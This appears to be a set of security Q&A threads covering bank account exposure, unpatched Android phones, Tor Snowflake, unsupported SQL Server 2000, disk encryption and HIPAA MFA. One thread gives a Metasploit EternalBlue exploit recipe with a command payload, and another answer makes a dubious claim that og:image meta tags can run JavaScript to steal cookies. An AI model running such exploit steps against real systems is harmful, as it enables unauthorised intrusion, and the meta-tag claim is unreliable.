Your bank account number is as open as you allow it to be. Only write checks/give your routing information to trusted parties, secure your mailbox as best as you can, and if all else fails - choose another bank or change your banking practices. If your trust issues conflict with whatever convenience/benefits you are gaining, that is your decision to weigh.

  While most other websites also don't allow you to change your username and pre-set your username to your email address, in that scenario I at least have the option to create a throwaway email address, or use a + address.

This depends completely on the organization/company/system you are dealing with - in most cases dealing with money/bills where your account is automatically generated, you won't get to pick.

  It limits usernames to a single character set (numeric) which makes it easier for brute force hackers etc.

No one is going to brute force your username. Someone getting into your e-mail (and retrieving your password), gaining access to your [hopefully hashed] password from the benefits system, or logging your password because the computer you use to access the site has been compromised are the real issues here.

  Someone hacking my account will be able to gain the following information about me:
  • Name
  • Address
  • Sort code
  • Account number
  • Email address
  • Phone number

If someone is hacking your account specifically (as opposed to passive collection or downloading as many user credentials as they can), you can probably assume that all of those pieces of information are what they are already working with. Most of that (and including your date of birth) will be publicly available anyway, most of it is written directly on your checks, etc.

In conclusion: if you are making a complaint, include everything you can prove - maybe even what you expect is happening on the backend - but don't get your hopes up.


My Android phone is vulnerable, but there are no updates? I bought brand new HTC Desire 526G with operating system 4.4.2 (Kitkat), everything is as it should be (not rooted) so it is still on factory settings.

But now I didn't get for a long time any security updates, I have checked manually in system updates and it says: There are no updates available for your phone.

If I check my Android version it says: 4.4.2 & Android security patch level: 2016-01-01, but in a same time if I go on CVE details, I founded a lot of vulnerabilities for this system.

Also I have installed X-Ray from Duo Security to check if my system is vulnerable to any exploits and it gave me positive result, that my device is vulnerable to different ones.

What can I do in my situation, I mean how can I update my Android device in order to protect it from publicly known vulnerabilities?

You are essentially asking what to do if you are using software which is known to be vulnerable but where no updates are available. This is a problem not restricted to Android phones but you'll find it everywhere, for example in IoT devices like routers or cameras but also with software on the PC which only get support for a limited time.

The answer should be obvious: either replace the software (or device) with one with no known vulnerabilities (and still getting updates) or reduce the risk of infection by decreasing the attack surface.

In the case of an Android phone the best option would probably be to get alternative and still supported software like LineageOS for it. If no alternative software supports your device you might need to get a new phone with still supported software and this time hopefully from a vendor known for better support.

If none of this is possible or if the costs don't match the assumed risk you could decrease the attack surface to reduce the risk of an exploit against your device. This can be done by having no network connection (neither mobile, WiFi nor Bluetooth) and removing all apps you don't really need. In case you have root on the phone you could also install some firewall on it to restrict network traffic to only a few selected apps.

Note that there is no perfect security even with supported software. How much effort and cost you invest for protection depends a lot on what you need to protect. If there are no sensitive data on the device you might accept a limited risk by using it in mobile network and maybe in a restricted WiFi network (so that it cannot be used to exploit other systems in your home network). If instead you have sensitive data on the device you should probably invest some more and get a still supported device from a vendor with fast updates.


Dangers of using Tor snowflake? The Tor project has recently released a browser extension called snowflake which allows users in countries with heavy censorship to access websites which would otherwise be blocked using the connections of volunteers as proxies. They have stated -

  There is no need to worry about which websites people are accessing through your proxy. Their visible browsing IP address will match their Tor exit node, not yours.

Which clears up one worry that most people would have with volunteering for such a project.

But are there any dangers for allowing your system to act as such a proxy ?

Snowflake uses WebRTC. If you are also using a VPN, enabling WebRTC can expose your real public IP behind a VPN.

This varies with Browser and VPN.


AutoScripting for Windows Cmd shell when session start I use metasploit latest version. I know autoscripting with meterpreter payloads. But I need to know how to do it with a shell/bind_tcp payload.

I want to write a script for when exploit is completed and command shell is opened do this:

cd c:&mkdir pwned

I have little solution :

use exploit/windows/smb/ms17_010_eternalblue
set TARGET 0
set payload windows/x64/exec //its good idea for my job
set cmd cmd.exe\ \/k\ cd\ c:\\users\\user1\\desktop&mkdir pwned

exploit!


what security impact can be caused by injection of meta tags when i added a header
X-Forwarded-Host: bing.com
it inject meta tags in the site containing bing.com does this have any security impact

<meta property="og:url" content="https://bing.com/argentina"/>

can we inject XSS in it?
shall i report for this vulnerability?

shall i put an XSS payload or try redirection or what shall i do?

i have already tried to search in many websites for answer but i couldn't find any

Some meta tags like property og:image can have JavaScript in the property so you can steal cookies or redirect a user or many other Xss attacks

Meta refresh tags can also take a victim to a phishing page that spoofs the real one


Security risks if a server in not supported anymore I have an SQL 2000 database server which is not supported by Microsoft anymore. We have our information security policy applied and even PCI requirements.
What are the security risks that we might face in this case?

I could think of one example : Vulnerabilities. Can we fix any new discovered vulnerabilities if found on that server? Usually they're fixed by new patches or updates, but in this case i think that Microsoft will not provide any.

I could think of one example : Vulnerabilities. Can we fix any new discovered vulnerabilities if found on that server? Usually they're fixed by new patches or updates, but in this case i think that Microsoft will not provide any.

You just answered your own question. You will not get any security updates for new vulnerabilities discovered so you will always be at risk of new attacks. Microsoft's products are not open source so you cannot even try to fix any vulnerabilities discovered (although that would be a very stupid thing to do from a business perspective even if the product in question is open source).

The risks can be (somewhat) mitigated if the server in question is not Internet facing but why take the risk? Don't use unsupported products or products that are EOL.


Does an unencrypted disk pose a risk to other encrypted disk's data? I have three disks, only two are encrypted:

A: OS, encrypted
B: Main storage HDD, encrypted
C: Gaming only SSD, not encrypted.

Should I be worried that C: could cache/store sensitive data from A/B disks even if I only use it for storing games - assuming threat model of physical forensic analysis.

You should be safe if the configuration of the system is correct.

General cache, dump files, hibernation, etc should only be configured to be created on the OS drive.

In such a case there's no cache to be done in your gaming drive. Additionally, most games today drop their save-games in local user folders, not the game folder, so not even that would be a risk. Some log files may be created by games (crash logs, parsers, etc) on the games drive, but that does not contain information stored on the other 2 drives.


NewMFA Requirement For HIPAA? I was told by a vendor that there's new guidance effective in 2017 that mandates Multi-Factor Authentication for all systems that host PHI. They said that things like white-listing IP addresses was good enough to satisfy this requirement. Is this just a vendor trying to sell me something? Or is there really updated guidance on this issue?

HIPAA doesn't explicitly mandate MFA, but because of updates to NIST guidance (800-63), it would be very reasonable to argue that a solution without MFA is deficient to meet something like section 164.312d, and therefore does not meet HIPAA requirements.

That said, whitelisting IPs is a pretty mediocre security solution and is definitely not considered to be MFA.